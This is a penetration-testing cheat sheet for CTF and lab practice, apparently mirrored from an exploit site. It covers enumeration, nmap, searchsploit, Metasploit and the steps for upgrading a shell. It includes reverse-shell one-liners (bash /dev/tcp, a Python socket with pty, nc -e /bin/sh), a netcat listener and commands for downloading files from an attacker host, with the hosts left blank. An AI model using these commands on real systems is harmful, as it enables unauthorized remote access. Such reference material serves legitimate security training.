Share
## https://sploitus.com/exploit?id=C793B91B-DD5C-5CCF-AD9B-FF0563BFE430
# Exploitation Basics
> Quick reference for TryHackMe, Hack The Box, CTFs, and penetration testing labs.
---
# Exploitation Workflow
```text
Recon
β
Enumeration
β
Identify Vulnerability
β
Find Exploit
β
Gain Initial Access
β
Stabilize Shell
β
Privilege Escalation
β
Post Exploitation
```
**Golden Rule:** Never exploit before you enumerate.
---
# What is Exploitation?
Exploitation is the process of taking advantage of a vulnerability, weakness, or misconfiguration to gain unauthorized access or execute code on a target system.
---
# Common Vulnerability Types
## Misconfigurations
- Default credentials
- Anonymous FTP/SMB
- Weak permissions
- Open file shares
- Exposed admin panels
- Insecure services
## Software Vulnerabilities
- Remote Code Execution (RCE)
- Buffer Overflow
- SQL Injection
- Command Injection
- Local File Inclusion (LFI)
- Remote File Inclusion (RFI)
- Authentication Bypass
- Path Traversal
- Cross-Site Scripting (XSS)
---
# Types of Exploits
## Remote Exploit
Runs over the network without prior access.
```
Attacker
β
Internet
β
Victim
```
## Local Exploit
Requires an existing shell.
Usually used for privilege escalation.
## Client-Side Exploit
Victim opens:
- PDF
- Word document
- Webpage
- Email attachment
The exploit executes on the victim's machine.
---
# Enumeration First
Always answer these questions:
- What operating system?
- What services are running?
- What versions?
- What users exist?
- Any hidden directories?
- Any default credentials?
- Any CMS?
- Any known vulnerabilities?
---
# Nmap
## Basic Scan
```bash
nmap
```
## Service Detection
```bash
nmap -sV
```
## Default Scripts
```bash
nmap -sC
```
## Aggressive Scan
```bash
nmap -A
```
## Scan All Ports
```bash
nmap -p-
```
## UDP Scan
```bash
nmap -sU
```
## Save Scan
```bash
nmap -oA scan
```
---
# Banner Grabbing
Netcat
```bash
nc
```
Curl
```bash
curl http://
```
---
# Web Enumeration
Gobuster
```bash
gobuster dir \
-u http:// \
-w /usr/share/wordlists/dirb/common.txt
```
Extensions
```bash
-x php,txt,html
```
Feroxbuster
```bash
feroxbuster -u http://
```
---
# Searchsploit
Search
```bash
searchsploit apache
```
Search Specific Version
```bash
searchsploit "Apache 2.4.49"
```
Copy Exploit
```bash
searchsploit -m
```
Mirror Exploit
```bash
searchsploit --mirror
```
---
# Metasploit
Start
```bash
msfconsole
```
Search
```bash
search smb
```
Use Module
```bash
use exploit/...
```
Show Options
```bash
show options
```
Show Payloads
```bash
show payloads
```
Configure
```bash
set RHOSTS
set LHOST
```
Run
```bash
run
```
or
```bash
exploit
```
---
# Payloads
A payload is the code executed after successful exploitation.
Examples:
- Reverse Shell
- Bind Shell
- Meterpreter
- Command Execution
---
# Reverse Shell
Victim connects back to attacker.
```
Victim ----------> Attacker
```
Advantages
- Bypasses many firewalls
- Most common shell
Example
```bash
bash -i >& /dev/tcp// 0>&1
```
Python
```bash
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("",PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
```
Netcat (if supported)
```bash
nc -e /bin/sh
```
---
# Bind Shell
Attacker connects to victim.
```
Attacker ----------> Victim
```
Requires an open listening port.
---
# Listener
```bash
nc -lvnp 4444
```
---
# Upgrade a TTY Shell
Spawn PTY
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
Background
```
CTRL + Z
```
Fix Terminal
```bash
stty raw -echo
fg
```
Then
```bash
export TERM=xterm
stty rows 40 columns 120
```
---
# File Transfer
Host Files
```bash
python3 -m http.server 8000
```
Download
```bash
wget http://:8000/file
```
or
```bash
curl http://:8000/file -O
```
---
# Linux Enumeration
Current User
```bash
whoami
```
Hostname
```bash
hostname
```
Kernel
```bash
uname -a
```
Network
```bash
ip a
```
Processes
```bash
ps aux
```
Sudo Rights
```bash
sudo -l
```
Find SUID Files
```bash
find / -perm -4000 2>/dev/null
```
---
# Windows Enumeration
Current User
```cmd
whoami
```
Hostname
```cmd
hostname
```
System Information
```cmd
systeminfo
```
Network
```cmd
ipconfig
```
Processes
```cmd
tasklist
```
Users
```cmd
net user
```
Groups
```cmd
net localgroup
```
---
# Common Ports
| Port | Service |
|------|----------|
| 20/21 | FTP |
| 22 | SSH |
| 23 | Telnet |
| 25 | SMTP |
| 53 | DNS |
| 80 | HTTP |
| 110 | POP3 |
| 111 | RPC |
| 135 | RPC |
| 139 | NetBIOS |
| 143 | IMAP |
| 443 | HTTPS |
| 445 | SMB |
| 3306 | MySQL |
| 3389 | RDP |
| 5432 | PostgreSQL |
| 5900 | VNC |
| 8080 | HTTP Alternate |
---
# Typical Attack Flow
```
Run Nmap
β
Identify Services
β
Version Detection
β
Searchsploit / Google CVEs
β
Manual Testing
β
Gain Shell
β
Upgrade Shell
β
Enumerate Again
β
Privilege Escalation
```
---
# Common Mistakes
- Exploiting before enumeration
- Ignoring service versions
- Forgetting `-p-`
- Missing hidden directories
- Ignoring default credentials
- Not upgrading your shell
- Skipping post-exploitation enumeration
---
# Quick Checklist
- [ ] Scan all ports
- [ ] Identify service versions
- [ ] Enumerate every service
- [ ] Check default credentials
- [ ] Enumerate web directories
- [ ] Search for public exploits
- [ ] Check Searchsploit
- [ ] Search for CVEs
- [ ] Gain shell
- [ ] Upgrade shell
- [ ] Enumerate as compromised user
- [ ] Begin privilege escalation
---
# Useful Resources
## Searchsploit
```bash
searchsploit
```
## Exploit Database
https://www.exploit-db.com
## GTFOBins
https://gtfobins.github.io
## LOLBAS
https://lolbas-project.github.io
## PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings
## SecLists
```text
/usr/share/seclists/
```
## Wordlists
```text
/usr/share/wordlists/
```
---
# Key Takeaways
- Enumeration is more important than exploitation.
- Always identify software versions.
- Public exploits exist for many known vulnerabilities.
- Reverse shells are more common than bind shells.
- Upgrade unstable shells immediately.
- Enumerate again after gaining access.
- Initial access is only the beginningβprivilege escalation and post-exploitation are often where you'll gain full control.